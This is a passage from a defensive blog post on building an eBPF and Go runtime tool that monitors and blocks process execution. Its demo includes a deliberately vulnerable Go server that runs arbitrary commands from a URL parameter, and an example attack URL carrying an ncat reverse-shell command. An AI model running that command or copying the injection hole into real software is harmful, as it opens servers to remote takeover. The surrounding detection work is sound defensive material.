Skip to main content
  1. Blog Posts/

eBPF-Based ADR: Real-time App Defense

Introduction #

Modern web applications are not just convenient services but complex ecosystems that interact with users on multiple levels. Each of these levels can become an entry point for attacks. Vulnerabilities like SQL injection, RCE (Remote Command Execution), SSTI (Server-Side Template Injection), SSRF (Server-Side Request Forgery), and others allow hackers to gain unauthorized access to data, resources, and systems.

To protect web applications, various security measures are often used, such as Web Application Firewalls (WAF), Firewalls, and IDS/IPS (Intrusion Detection System/Intrusion Prevention System). However, these measures are typically focused on the system’s perimeter and may not prevent attacks targeting internal components. This is where ADR (Application Detection and Response) comes into play.

In this article, we will cover:

  • Clear explanations of complex concepts.
  • Popular technologies for implementing ADR (eBPF, Go, and others).
  • Practical examples of detecting and preventing common attacks.

The goal of this article is to help you understand how ADR works and how it can be implemented using eBPF + Golang.

Introduction to ADR #

Before diving into the details of ADR, it is important to recognize that it addresses a critical gap in the security strategies of many organizations - the lack of an effective threat detection mechanism at the application level.

A WAF (Web Application Firewall) is a security tool designed to monitor, filter, and block HTTP traffic coming to and from a web application. Operating at the network level, a WAF protects web applications from attacks such as cross-site scripting (XSS), SQL injections, and others.

WAF scheme
WAF

Many organizations use WAFs as their primary means of protection against application-level threats, but this approach has several significant limitations:

  • Focus on the network level: WAFs analyze incoming traffic at the network level, trying to identify potential threats. This approach is effective against signature-based attacks but does not provide a complete picture of what is happening within the application itself.
  • False positives: Due to the lack of context related to the application’s logic, WAFs often generate a large number of false positives. This creates additional strain on security teams.
  • Vulnerability to evasion techniques: One of the most critical drawbacks of WAFs is their vulnerability to evasion methods. Attackers can bypass protection by using encoding variants, protocol manipulations, payload obfuscation, or exploiting weaknesses within the application itself that remain invisible at the network level.

Application Detection & Response (ADR) is a more advanced approach to web application security, focused on protecting applications during runtime. Unlike traditional security tools like WAF, IDS/IPS, which monitor infrastructure or network perimeters, ADR operates directly within the application, analyzing its behavior in real time. By detecting anomalous actions within components that may signal the onset of an attack, ADR enables the prevention of the attack before it escalates. ADR utilizes modern instrumentation techniques and is designed with a focus on ease of use and minimal impact on application performance and stability. This sets it apart from older methods, such as Runtime Application Self-Protection (RASP).

ADR systems use various methods to detect attacks, including:

  • Network traffic analysis: Monitors suspicious requests and connections.
  • System call monitoring: Detects attempts to execute malicious commands.
  • User behavior analysis: Tracks unusual actions that may indicate account compromise.
  • Machine learning: Develops models for automatically detecting new types of threats.
    ADR scheme
    ADR

Advantages of using ADR:

  • In-depth analysis: ADR analyzes not only network traffic but also the internal behavior of the application, allowing for the detection of more complex and hidden attacks.
  • Counteracting WAF evasion: ADR serves as an additional layer of defense, detecting threats that have bypassed traditional WAF mechanisms.
  • Automation: Many ADR systems can automatically respond to threats by blocking malicious requests and notifying administrators.
  • Integration: ADR can provide application-level analysis for security teams without requiring prior “embedding” of the application by developers.
  • Protection against zero-day vulnerabilities: With its deep analysis of application behavior, ADR can identify and respond to new attack patterns, enhancing protection against zero-day vulnerabilities.

To support all of this, ADR systems utilize the modern technology eBPF.

Introduction to eBPF #

eBPF is a powerful technology that allows running custom code directly in the kernel space. Think of it as a microprogram inside the operating system.

eBPF overview

Why do we need it?

  • eBPF allows us to create a highly precise and fast mechanism for monitoring system calls and network traffic in real time.
  • This gives us the ability to detect attacks at the earliest stages.

You can read more about eBPF in my article.

Example in Action #

Idea and Demonstration of Functionality #

To begin, let’s take a look at an example of a program I have already written to understand its capabilities and principles. Please note that this program is intended solely to demonstrate the capabilities of eBPF and a minimal implementation of ADR (Application Detection & Response).

Configuration File #

The program uses a configuration file to define rules and permissions. An example of such a file looks as follows:

targets:
  - type: "command"
    value: "/usr/bin/whoami"
    actions:
      block: false
  - type: "pid"
    value: 309413
    actions:
      monitor: true
      block: true
  - type: "uid"
    value: 1000
    actions:
      monitor: false
Explanation of Configuration Structure #
  • targets - a list of targets for monitoring or blocking.
  • type - the type of target. This can be:
    • command - the command that should be allowed or blocked.
    • pid - the process ID (PID) for which the rules will apply.
    • uid - the user ID (UID) for which the rules will apply.
  • value - the value for the specified type (e.g., the path to a command, PID, or UID).
  • actions - actions that can be applied:
    • monitor - monitoring activity (logging execution).
    • block - blocking the execution of a command or action.

It is important to note that when the configuration file is changed, the rules are updated in real time, without the need to restart the program.

Priority of Rule Application #

If a target falls under multiple categories, the following priority order is used:

  1. command - checked first.
  2. pid - if the command is not found, the PID is checked.
  3. uid - if neither the command nor PID match, the rule for UID is applied.

Example of Program #

Let’s assume we have a server that accepts HTTP requests at the following URL:

http://localhost:8080/?cmd=command

Let’s consider a vulnerability of RCE in its simplest implementation.
The server executes the provided command. Let’s assume the developers initially intended for the server to only handle the whoami command, but due to carelessness, they allowed the execution of arbitrary commands. As a result, an attacker could send a request with a malicious command, such as:

http://localhost:8080/?cmd=ncat 10.10.10.10 9001 -e sh
Click here to see the full code:
package main

import (
  "errors"
  "log"
  "net/http"
  "os/exec"
  "strings"
)

func parseCmd(cmd string) (string, []string, error) {
  args := strings.Split(cmd, " ")

  if len(args) == 0 {
    return "", nil, errors.New("no command provided")
  }
  return args[0], args[1:], nil
}

func rce(w http.ResponseWriter, r *http.Request) {
  command := r.URL.Query().Get("cmd")
  if command == "" {
    http.Error(w, "cmd parameter is required", http.StatusBadRequest)
    return
  }

  path, args, err := parseCmd(command)
  if err != nil {
    http.Error(w, err.Error(), http.StatusBadRequest)
    return
  }

  cmd := exec.Command(path, args...)
  out, err := cmd.Output()
  if err != nil {
    http.Error(w, err.Error(), http.StatusInternalServerError)
    return
  }

  log.Printf("Command output: %s", out)
  w.Write(out)
}

func main() {
  http.HandleFunc("/", rce)
  http.ListenAndServe(":8080", nil)
}

This request could lead to the execution of a dangerous command on the server. This situation is known as Remote Command Execution (RCE) - one of the most serious vulnerabilities. However, ADR is capable of preventing the execution of this command.

Example scenario using ADR:

  • The pid section specifies the PID of the server process.
  • The command section allows only the whoami command.
  • The uid section can specify the UID of a user, enabling monitoring of all commands executed by that user.

As a result, the attacker will not be able to execute arbitrary commands, and the actions of users and processes will be under control. ADR acts as an additional layer of protection, enabling faster detection and correction of code errors. This way, ADR can prevent the exploitation of vulnerabilities and provide time for developers to fix them.

Before Enabling ADR #

  • The attacker sends a request with an arbitrary command.
  • The server executes this command without restrictions.
  • There is a risk of executing malicious code and compromising the system.

After Enabling ADR #

  • A request with an arbitrary command arrives.
  • ADR intercepts the execve system call.
  • First, the rule for the command is checked. If the command does not match the allowed ones (e.g., not whoami), it is blocked.
  • If no rule for the command is found, the rule for the PID is checked. If the server’s PID is in the target list with the block: true flag, the command execution is blocked.
  • If neither the command rule nor the PID rule is triggered, the rule for the UID is checked.

Next, let’s look at the process of creating the program I wrote using eBPF and Go, which is designed to intercept and monitor system calls or block them.

Implementation of the eBPF program #

To begin, let’s define some constants and structures:

#define MAX_CMD_LEN 32
#define ARG_SIZE 64
#define MAX_ARGS 6
#define FULL_MAX_ARGS_ARR (MAX_ARGS * ARG_SIZE)
#define LAST_ARG (FULL_MAX_ARGS_ARR - ARG_SIZE)
  • MAX_CMD_LEN: The maximum length of a command name. We will assume that 32 characters are sufficient for most cases.
  • ARG_SIZE: The maximum size of a single argument. We’ll allocate 64 bytes to accommodate most arguments.
  • MAX_ARGS: The maximum number of arguments we want to analyze. We’ll limit it to 6 arguments.
  • FULL_MAX_ARGS_ARR: This is a calculated value representing the total size of the array for all arguments.
  • LAST_ARG: The index of the last element in the arguments array. This is used for convenience when processing the array.
struct trace_event_raw_sys_enter {
  char unused1[16];
  long unsigned int args[MAX_ARGS];
};

Each time a system call occurs in our program, the operating system creates a special data structure to store information about it. This structure is called trace_event_raw_sys_enter.

  • Unused bytes: The first 16 bytes of this structure are not needed for our purposes.
  • Arguments array: The second field is an array that stores the values of the arguments passed to the system call.

Clarification: We don’t have to create these structures ourselves, as we can use vmlinux.h.
However, since I’m not using vmlinux.h, I need to add alignment in the structure.

typedef struct {
  unsigned int val;
} kuid_t;

struct task_struct {
  struct task_struct *real_parent;
  __u32 tgid;
};

To obtain the parent process ID (PPID), we will need the task_struct structure. This structure contains information about the current process, including a pointer to the parent process structure.

struct event {
  __u32 uid;
  __u32 pid;
  __u32 ppid;
  __u32 args_count;
  __u32 args_size;
  char command[MAX_CMD_LEN];
  char args[FULL_MAX_ARGS_ARR];
};

The event structure is designed to store information about each recorded event (in our case, the process launch). It contains the following fields:

  • uid: The user ID of the person who launched the process.
  • pid: The process ID of the current process.
  • ppid: The parent process ID.
  • args_count: The number of arguments passed to the process.
  • args_size: The total size of all arguments.
  • command: The name of the launched command.
  • args: An array for storing the arguments passed to the command.
struct {
  __uint(type, BPF_MAP_TYPE_RINGBUF);
  __uint(max_entries, 1 << 24);
} events SEC(".maps");

We use a ring buffer to store information about events. A ring buffer is a special data structure that allows you to efficiently add and remove items. In our case, the buffer will store event structures containing information about running processes. The max_entries attribute defines the maximum number of events that can be simultaneously stored in the buffer.

struct TargetKey {
    __u8 type; // 'c' for command, 'u' for UID, 'p' for PPID
    // padding is required to align the 4-byte __u32 id
    __u8 reserved[3];
    union {
        char command[MAX_CMD_LEN];
        __u32 id;
    };
};

The TargetKey structure is used to store keys in our targets map (which we will create later). The key can represent the command name (‘c’), user ID (‘u’), or process ID (‘p’).
The reserved field is used for proper alignment of data in memory.
The union allows us to store either the command name or the identifier (UID or PID) in the same memory space.

typedef __u8 TargetValue;
// +---+---+---+---+---+---+---+---+
// | 7 | 6 | 5 | 4 | 3 | 2 | M | B |
// +---+---+---+---+---+---+---+---+
//                         | M | B |
//                         | 1 | 0 | - Monitored
//                         | 0 | 1 | - Blocked
//                         | 1 | 1 | - Monitored and Blocked

The TargetValue type is used to store information about the actions that should be performed on a process found by the corresponding key in the targets map.
It is an 8-bit integer, where each bit has a specific meaning:

  • Bit M (Monitor): If set to 1, the process should be monitored.
  • Bit B (Block): If set to 1, the process should be blocked.
struct {
  __uint(type, BPF_MAP_TYPE_HASH);
  __type(key, struct TargetKey);
  __type(value, TargetValue);
  __uint(max_entries, 1024);
} targets SEC(".maps");

The targets map is used to store filtering rules.
It is a hash table where the key is the TargetKey structure (command name, UID, or PID), and the value is the TargetValue structure (information about the actions to be performed).

Next, we’ll create functions to check the bits in the TargetValue value. The is_monitored function checks if the M (monitoring) bit is set, and the is_blocked function checks if the B (blocking) bit is set. These functions use bitwise operations to determine if the respective bits are set in the TargetValue.

static __always_inline int is_monitored(TargetValue val) {
  return (val & 0b10) >> 1; // Check the monitor bit
}

static __always_inline int is_blocked(TargetValue val) {
  return val & 0b01; // Check the block bit
}

Now, let’s create the function for monitoring system calls, monitor_syscalls.
Inside the monitor_syscalls function, we first gather information about the running process:

  • We extract the current process’s ID (PID) and its parent process’s ID (PPID).
  • We retrieve the user ID (UID) of the user who launched the process.
SEC("tracepoint/syscalls/sys_enter_execve")
int monitor_syscalls(struct trace_event_raw_sys_enter *ctx) {
  int ret;
  __u32 pid = bpf_get_current_pid_tgid() >> 32;
  struct task_struct *task = (struct task_struct *)bpf_get_current_task();
  __u32 ppid = BPF_CORE_READ(task, real_parent, tgid);
  struct event evt = {0};
  __u32 uid = bpf_get_current_uid_gid();
  // ...
}
  • We extract the name of the program being executed.
SEC("tracepoint/syscalls/sys_enter_execve")
int monitor_syscalls(struct trace_event_raw_sys_enter *ctx) {
  // ...
  char *path_ptr = (char *)BPF_CORE_READ(ctx, args[0]);
  if (bpf_probe_read_str(&evt.command, sizeof(evt.command), path_ptr) < 0) 
    return 0;
  // ...
}

We check whether the process needs to be monitored:

  • We use the check_action function to check based on the program name, UID, or PPID.
  • If the process doesn’t require monitoring, we exit the function.
SEC("tracepoint/syscalls/sys_enter_execve")
int monitor_syscalls(struct trace_event_raw_sys_enter *ctx) {
  // ...
  __u8 action_type;
  int result = check_action(ppid, uid, evt.command, is_monitored, &action_type);
  if (result == 0) 
    return 0;
  // ...
}

We gather event information:

  • We populate the event structure with details about the process: PID, UID, and PPID.
  • We initialize the argument counters (count and total size).
SEC("tracepoint/syscalls/sys_enter_execve")
int monitor_syscalls(struct trace_event_raw_sys_enter *ctx) {
  // ...
  evt.pid = pid;
  evt.uid = uid;
  evt.ppid = ppid;
  evt.args_count = 0;
  evt.args_size = 0;

  const char **args = (const char **)(ctx->args[1]);
  const char *argp;
  // ...
}

We extract the first argument (the program path):

  • We safely read the first argument string and store it in the args field of the event structure.
  • We update the total argument size counter.
SEC("tracepoint/syscalls/sys_enter_execve")
int monitor_syscalls(struct trace_event_raw_sys_enter *ctx) {
  // ...
  ret = bpf_probe_read_user_str(evt.args, ARG_SIZE, (const char *)ctx->args[0]);
  if (ret < 0) 
    return 0;
  if (ret <= ARG_SIZE) {
    evt.args_size += ret;
  } else {
    evt.args[0] = '\0';
    evt.args_size++;
  }

  evt.args_count++;
  // ...
}

We iterate through the remaining arguments (up to MAX_ARGS):

  • We safely read the address of each argument from the system call’s argument array.
  • We check if there is enough space in the argument buffer for the next argument.
  • If space is available, we safely read the argument string and add it to the buffer.
  • We update the argument count and total size counters.
SEC("tracepoint/syscalls/sys_enter_execve")
int monitor_syscalls(struct trace_event_raw_sys_enter *ctx) {
  // ...
  #pragma unroll
  for (__u32 i = 1; i < MAX_ARGS; i++) {
    ret = bpf_probe_read_user(&argp, sizeof(argp), &args[i]);
    if (ret < 0) 
      break;

    if (evt.args_size > LAST_ARG) 
      break;

    ret = bpf_probe_read_user_str(&evt.args[evt.args_size], ARG_SIZE, argp);
    if (ret < 0) 
      break;

    evt.args_count++;
    evt.args_size += ret;
  }

  ret = bpf_probe_read_user(&argp, sizeof(argp), &args[MAX_ARGS]);
  if (ret < 0) 
    return 0;

  evt.args_count++;
}

We write the event to the ring buffer:

  • We reserve space in the events ring buffer to store the event structure.
  • We copy the event structure into the reserved memory area.
  • We send the event to the buffer.
SEC("tracepoint/syscalls/sys_enter_execve")
int monitor_syscalls(struct trace_event_raw_sys_enter *ctx) {
  // ...
  void *ringbuf_data = bpf_ringbuf_reserve(&events, sizeof(evt), 0);
  if (!ringbuf_data) 
    return 0;

  __builtin_memcpy(ringbuf_data, &evt, sizeof(evt));
  bpf_ringbuf_submit(ringbuf_data, 0);

  return 0;
}

Now, let’s write the function to intercept and block system calls.

struct linux_binprm {
  char unused1[72];
  struct cred *cred;    
  char unused2[24]; 
  const char *filename;       
  char unused3[312];
};

struct cred {
  char unused1[8];
  kuid_t uid;
};

SEC("lsm/bprm_check_security")
int BPF_PROG(enforce_execve, struct linux_binprm *bprm, int ret) {
  if (ret != 0) 
    return ret;

  __u32 cred_uid = -1;
  char current_comm[MAX_CMD_LEN] = {0};
  bpf_probe_read_kernel(&cred_uid, sizeof(cred_uid), &bprm->cred->uid.val);
  bpf_probe_read_kernel_str(&current_comm, sizeof(current_comm), bprm->filename);
  struct task_struct *task = (struct task_struct *)bpf_get_current_task();
  __u32 ppid = BPF_CORE_READ(task, real_parent, tgid);

  __u8 action_type;
  int result = check_action(ppid, cred_uid, current_comm, is_blocked, &action_type);
  if (result) 
    return -1;

  return ret;
}

char LICENSE[] SEC("license") = "GPL";

Since I haven’t included vmlinux.h, I will use the unused fields for proper alignment.

Next, inside the function, we again retrieve the parent process ID (PPID), the user ID (UID) of the process initiator, and the filename where the path to the called file is stored.

We check if the system call should be blocked:

  • We use the check_action function to check based on the program name, UID, or PPID.
  • If the process requires blocking, we return -1, effectively preventing the system call.

Full code #

Click here to see the full code:
//go:build ignore

#include <linux/bpf.h>
#include <bpf/bpf_core_read.h>
#include <bpf/bpf_tracing.h>

#define MAX_CMD_LEN 32
#define ARG_SIZE 64
#define MAX_ARGS 6
#define FULL_MAX_ARGS_ARR (MAX_ARGS * ARG_SIZE)
#define LAST_ARG (FULL_MAX_ARGS_ARR - ARG_SIZE)

struct trace_event_raw_sys_enter {
  char unused1[16];
  long unsigned int args[MAX_ARGS];
};

typedef struct {
  unsigned int val;
} kuid_t;

struct task_struct {
  struct task_struct *real_parent;
  __u32 tgid;
};

struct event {
  __u32 uid;
  __u32 pid;
  __u32 ppid;
  __u32 args_count;
  __u32 args_size;
  char command[MAX_CMD_LEN];
  char args[FULL_MAX_ARGS_ARR];
};

struct {
  __uint(type, BPF_MAP_TYPE_RINGBUF);
  __uint(max_entries, 1 << 24);
} events SEC(".maps");

struct TargetKey {
    __u8 type; // 'c' for command, 'u' for UID, 'p' for PPID
    // padding is required to align the 4-byte __u32 id
    __u8 reserved[3];
    union {
        char command[MAX_CMD_LEN];
        __u32 id;
    };
};

typedef __u8 TargetValue;
// +---+---+---+---+---+---+---+---+
// | 7 | 6 | 5 | 4 | 3 | 2 | M | B |
// +---+---+---+---+---+---+---+---+
//                         | M | B |
// 											 	 | 1 | 0 | - Monitored
// 											 	 | 0 | 1 | - Blocked
// 											 	 | 1 | 1 | - Monitored and Blocked

struct {
  __uint(type, BPF_MAP_TYPE_HASH);
  __type(key, struct TargetKey);
  __type(value, TargetValue);
  __uint(max_entries, 1024);
} targets SEC(".maps");

static __always_inline int is_monitored(TargetValue val) {
    return (val & 0b10) >> 1; // Check the monitor bit
}

static __always_inline int is_blocked(TargetValue val) {
    return val & 0b01; // Check the block bit
}

static __always_inline int check_action(__u32 pid, __u32 uid, const char *cmd, int (*check_fn)(TargetValue), __u8 *action_type) {
  struct TargetKey key = {};
  TargetValue *value;

  __builtin_memset(&key, 0, sizeof(key));
  key.type = 'c';
  bpf_probe_read_str(key.command, sizeof(key.command), cmd);
  value = bpf_map_lookup_elem(&targets, &key);
  if (value) {
    *action_type = 'c';
    return check_fn(*value);
  }

  __builtin_memset(&key, 0, sizeof(key));
  key.type = 'p';
  key.id = pid;
  value = bpf_map_lookup_elem(&targets, &key);
  if (value) {
    *action_type = 'p';
    return check_fn(*value);
  }

  __builtin_memset(&key, 0, sizeof(key));
  key.type = 'u';
  key.id = uid;
  value = bpf_map_lookup_elem(&targets, &key);
  if (value) {
    *action_type = 'u';
    return check_fn(*value);
  }

  return 0;
}

SEC("tracepoint/syscalls/sys_enter_execve")
int monitor_syscalls(struct trace_event_raw_sys_enter *ctx) {
  int ret;
  __u32 pid = bpf_get_current_pid_tgid() >> 32;
  struct task_struct *task = (struct task_struct *)bpf_get_current_task();
  __u32 ppid = BPF_CORE_READ(task, real_parent, tgid);
  struct event evt = {0};

  __u32 uid = bpf_get_current_uid_gid();
  char *path_ptr = (char *)BPF_CORE_READ(ctx, args[0]);
  if (bpf_probe_read_str(&evt.command, sizeof(evt.command), path_ptr) < 0) 
    return 0;

  __u8 action_type;
  int result = check_action(ppid, uid, evt.command, is_monitored, &action_type);
  if (result == 0) 
    return 0;

  evt.pid = pid;
  evt.uid = uid;
  evt.ppid = ppid;
  evt.args_count = 0;
  evt.args_size = 0;

  const char **args = (const char **)(ctx->args[1]);
  const char *argp;
  ret = bpf_probe_read_user_str(evt.args, ARG_SIZE, (const char *)ctx->args[0]);
  if (ret < 0) 
    return 0;
  if (ret <= ARG_SIZE) {
    evt.args_size += ret;
  } else {
    evt.args[0] = '\0';
    evt.args_size++;
  }

  evt.args_count++;
  #pragma unroll
  for (__u32 i = 1; i < MAX_ARGS; i++) {
    ret = bpf_probe_read_user(&argp, sizeof(argp), &args[i]);
    if (ret < 0) 
      break;

    if (evt.args_size > LAST_ARG) 
      break;

    ret = bpf_probe_read_user_str(&evt.args[evt.args_size], ARG_SIZE, argp);
    if (ret < 0) 
      break;

    evt.args_count++;
    evt.args_size += ret;
  }

  ret = bpf_probe_read_user(&argp, sizeof(argp), &args[MAX_ARGS]);
  if (ret < 0) 
    return 0;

  evt.args_count++;

  void *ringbuf_data = bpf_ringbuf_reserve(&events, sizeof(evt), 0);
  if (!ringbuf_data) 
    return 0;

  __builtin_memcpy(ringbuf_data, &evt, sizeof(evt));
  bpf_ringbuf_submit(ringbuf_data, 0);

  return 0;
}

struct linux_binprm {
  char unused1[72];
  struct cred *cred;    
  char unused2[24]; 
  const char *filename;       
  char unused3[312];
};

struct cred {
  char unused1[8];
  kuid_t uid;
};

SEC("lsm/bprm_check_security")
int BPF_PROG(enforce_execve, struct linux_binprm *bprm, int ret) {
  if (ret != 0) 
    return ret;

  __u32 cred_uid = -1;
  char current_comm[MAX_CMD_LEN] = {0};
  bpf_probe_read_kernel(&cred_uid, sizeof(cred_uid), &bprm->cred->uid.val);
  bpf_probe_read_kernel_str(&current_comm, sizeof(current_comm), bprm->filename);
  struct task_struct *task = (struct task_struct *)bpf_get_current_task();
  __u32 ppid = BPF_CORE_READ(task, real_parent, tgid);

  __u8 action_type;
  int result = check_action(ppid, cred_uid, current_comm, is_blocked, &action_type);
  if (result) 
    return -1;

  return ret;
}

char LICENSE[] SEC("license") = "GPL";

Program implementation in golang #

To run eBPF programs, we will write a small program in Golang that performs the following actions:

  • Runs the eBPF programs.
// ...
  if err := rlimit.RemoveMemlock(); err != nil {
    log.Fatalf("Failed to remove memlock: %v", err)
  }

  // Attach eBPF programs
  monProg := objs.MonitorSyscalls
  monLnk, err := link.Tracepoint("syscalls", "sys_enter_execve", monProg, nil)
  if err != nil {
    log.Fatalf("Failed to attach eBPF program: %v", err)
  }
  defer monLnk.Close()

  lsmProg := objs.EnforceExecve
  lsmLnk, err := link.AttachLSM(link.LSMOptions{
    Program: lsmProg,
  })
  if err != nil {
    log.Fatalf("Failed to attach eBPF program: %v", err)
  }
  defer lsmLnk.Close()

  log.Println("eBPF programs are attached successfully.")
// ...
  • Parses the configuration file, initializes eBPF maps, and fills them.
// ...
  var objs adrObjects
  if err := loadAdrObjects(&objs, nil); err != nil {
    log.Fatalf("Error loading eBPF objects: %v", err)
  }
  defer objs.Close()

  currentTargets := populateMap(objs.Targets, config, nil)
// ...
  • Listens for events from eBPF programs and outputs data to the console.
// ...
  sig := make(chan os.Signal, 1)
  signal.Notify(sig, syscall.SIGINT, syscall.SIGTERM)

  done := make(chan bool)
  go func() {
    log.Println("Listening for events...")
    for {
      record, err := rd.Read()
      if err != nil {
        if errors.Is(err, ringbuf.ErrFlushed) {
          done <- true
          break
        }

        log.Printf("Error reading from ring buffer: %v", err)
        continue
      }

      var event Event
      if err := event.UnmarshalBinary(record.RawSample); err != nil {
        log.Printf("Error unmarshaling event: %v", err)
        continue
      }

      log.Printf(
        "Event: UID=%d PID=%d PPID=%d Command=%s\n",
        event.UID, event.PID, event.PPID,
        printArgs(&event),
      )
    }
  }()

  <-sig
  log.Println("Received exit signal (Ctrl+C), starting timeout...")

  timeout := time.After(1 * time.Second)

  select {
  case <-timeout:
    log.Println("Timeout reached, closing reader...")
    if err := rd.Flush(); err != nil {
      log.Printf("Error flushing ring buffer: %v", err)
    }
  case <-done:
    log.Println("Reader finished early, exiting...")
  }

  log.Println("Exiting...")
// ...
  • Monitors changes in the configuration file in real-time and updates the maps whenever changes occur.
// ...
func watchConfig(configFile string, targetsMap *ebpf.Map, currentTargets map[TargetKey]uint8) {
  watcher, err := fsnotify.NewWatcher()
  if err != nil {
    log.Fatalf("Failed to create file watcher: %v", err)
  }
  defer watcher.Close()

  if err := watcher.Add(configFile); err != nil {
    log.Fatalf("Failed to watch config file: %v", err)
  }

  for {
    select {
    case event, ok := <-watcher.Events:
      if !ok {
        return
      }
      if event.Op.Has(fsnotify.Write) {
        log.Println("Config file changed, reloading...")

        time.Sleep(1 * time.Second)
        var config Config
        if err := loadConfig(event.Name, &config); err != nil {
          log.Printf("Error reloading config: %v", err)
          continue
        }
        populateMap(targetsMap, config, currentTargets)
      }
    case err := <-watcher.Errors:
      log.Printf("File watcher error: %v", err)
    }
  }
}
// ...

Full code #

Click here to see the full code:
package main

import (
  "encoding/binary"
  "errors"
  "fmt"
  "log"
  "os"
  "os/signal"
  "syscall"
  "time"
  "unsafe"

  "github.com/cilium/ebpf"
  "github.com/cilium/ebpf/link"
  "github.com/cilium/ebpf/ringbuf"
  "github.com/cilium/ebpf/rlimit"
  "github.com/fsnotify/fsnotify"
  "gopkg.in/yaml.v2"
)

//go:generate go run github.com/cilium/ebpf/cmd/bpf2go adr ./bpf/adr.c

const (
  MaxCmdLen      = 32
  ArgSize        = 64
  MaxArgs        = 6
  FullMaxArgsArr = MaxArgs * ArgSize
)

type Event struct {
  UID       uint32
  PID       uint32
  PPID      uint32
  ArgsCount uint32
  ArgSize   uint32
  Command   [MaxCmdLen]byte
  Args      [FullMaxArgsArr]byte
}

type Config struct {
  Targets []Target `yaml:"targets"`
}

type Target struct {
  Type    string  `yaml:"type"`    // e.g., "command", "pid", "uid"
  Value   string  `yaml:"value"`   // e.g., "/usr/bin/ls", "1234", "0"
  Actions Actions `yaml:"actions"` // Actions that can be applied to this target
}

type Actions struct {
  Monitor bool `yaml:"monitor"`
  Block   bool `yaml:"block"`
}

func (e *Event) UnmarshalBinary(data []byte) error {
  if len(data) < int(unsafe.Sizeof(*e)) {
    return fmt.Errorf("not enough data to unmarshal Event: len=%d", len(data))
  }
  e.UID = binary.LittleEndian.Uint32(data[0:4])
  e.PID = binary.LittleEndian.Uint32(data[4:8])
  e.PPID = binary.LittleEndian.Uint32(data[8:12])
  e.ArgsCount = binary.LittleEndian.Uint32(data[12:16])
  e.ArgSize = binary.LittleEndian.Uint32(data[16:20])
  copy(e.Command[:], data[20:52])
  copy(e.Args[:], data[52:])

  return nil
}

func main() {
  configFile := "config.yml"
  var config Config
  if err := loadConfig(configFile, &config); err != nil {
    log.Fatalf("Error loading config: %v", err)
  }

  if err := rlimit.RemoveMemlock(); err != nil {
    log.Fatalf("Failed to remove memlock: %v", err)
  }

  var objs adrObjects
  if err := loadAdrObjects(&objs, nil); err != nil {
    log.Fatalf("Error loading eBPF objects: %v", err)
  }
  defer objs.Close()

  currentTargets := populateMap(objs.Targets, config, nil)

  // Attach eBPF programs
  monProg := objs.MonitorSyscalls
  monLnk, err := link.Tracepoint("syscalls", "sys_enter_execve", monProg, nil)
  if err != nil {
    log.Fatalf("Failed to attach eBPF program: %v", err)
  }
  defer monLnk.Close()

  lsmProg := objs.EnforceExecve
  lsmLnk, err := link.AttachLSM(link.LSMOptions{
    Program: lsmProg,
  })
  if err != nil {
    log.Fatalf("Failed to attach eBPF program: %v", err)
  }
  defer lsmLnk.Close()

  log.Println("eBPF programs are attached successfully.")

  rd, err := ringbuf.NewReader(objs.Events)
  if err != nil {
    log.Fatalf("Failed to open ring buffer: %v", err)
  }
  defer rd.Close()

  go watchConfig(configFile, objs.Targets, currentTargets)

  sig := make(chan os.Signal, 1)
  signal.Notify(sig, syscall.SIGINT, syscall.SIGTERM)

  done := make(chan bool)
  go func() {
    log.Println("Listening for events...")
    for {
      record, err := rd.Read()
      if err != nil {
        if errors.Is(err, ringbuf.ErrFlushed) {
          done <- true
          break
        }

        log.Printf("Error reading from ring buffer: %v", err)
        continue
      }

      var event Event
      if err := event.UnmarshalBinary(record.RawSample); err != nil {
        log.Printf("Error unmarshaling event: %v", err)
        continue
      }

      log.Printf(
        "Event: UID=%d PID=%d PPID=%d Command=%s\n",
        event.UID, event.PID, event.PPID,
        printArgs(&event),
      )
    }
  }()

  <-sig
  log.Println("Received exit signal (Ctrl+C), starting timeout...")

  timeout := time.After(1 * time.Second)

  select {
  case <-timeout:
    log.Println("Timeout reached, closing reader...")
    if err := rd.Flush(); err != nil {
      log.Printf("Error flushing ring buffer: %v", err)
    }
  case <-done:
    log.Println("Reader finished early, exiting...")
  }

  log.Println("Exiting...")
}

func loadConfig(filename string, config *Config) error {
  file, err := os.Open(filename)
  if err != nil {
    return fmt.Errorf("failed to open config file: %w", err)
  }
  defer file.Close()

  stat, err := file.Stat()
  if err != nil || stat.Size() == 0 {
    return fmt.Errorf("config file is empty or invalid")
  }

  decoder := yaml.NewDecoder(file)
  if err := decoder.Decode(config); err != nil {
    return fmt.Errorf("failed to decode YAML config: %w", err)
  }

  return nil
}

type TargetKey struct {
  Type     uint8    // 'c' = command, 'p' = PID, 'u' = UID
  Reserved [3]byte  // Padding for alignment
  Data     [32]byte // Can store either a command (char[32]) or a 32-bit ID
}

func (k TargetKey) String() string {
  // e.g. -> c:/usr/bin/ls or u:1000 or p:1234
  switch k.Type {
  case 'c':
    return fmt.Sprintf("c:%s", string(k.Data[:]))
  case 'u', 'p':
    id := binary.LittleEndian.Uint32(k.Data[:4])
    return fmt.Sprintf("%c:%d", k.Type, id)
  default:
    return fmt.Sprintf("unknown:%d", k.Type)
  }
}

func NewTargetKey(targetType byte, value string) (TargetKey, error) {
  var key TargetKey
  key.Type = targetType

  if targetType == 'c' { // Command
    if len(value) > 32 {
      return key, fmt.Errorf("command too long (max 32 bytes): %s", value)
    }
    copy(key.Data[:], value)
  } else if targetType == 'u' || targetType == 'p' { // UID or PID
    var id uint32
    fmt.Sscanf(value, "%d", &id)
    binary.LittleEndian.PutUint32(key.Data[:4], id)
  } else {
    return key, fmt.Errorf("unknown target type: %c", targetType)
  }
  return key, nil
}

func NewTargetValue(monitor, block bool) uint8 {
  var value uint8
  if monitor {
    value |= 1 << 1 // Bit 1 = Monitor
  }
  if block {
    value |= 1 // Bit 0 = Block
  }
  return value
}

func populateMap(targetsMap *ebpf.Map, config Config, currentTargets map[TargetKey]uint8) map[TargetKey]uint8 {
  if currentTargets == nil {
    currentTargets = make(map[TargetKey]uint8)
  }
  newTargets := make(map[TargetKey]uint8)

  for _, target := range config.Targets {
    var targetType byte
    switch target.Type {
    case "command":
      targetType = 'c'
    case "uid":
      targetType = 'u'
    case "pid":
      targetType = 'p'
    default:
      log.Printf("Unknown target type: %s", target.Type)
      continue
    }

    key, err := NewTargetKey(targetType, target.Value)
    if err != nil {
      log.Printf("Failed to create key for target %+v: %v", target, err)
      continue
    }

    value := NewTargetValue(target.Actions.Monitor, target.Actions.Block)
    newTargets[key] = value

    if err := targetsMap.Put(key, value); err != nil {
      log.Printf("Failed to put key-value pair into eBPF map: %v", err)
    }
  }

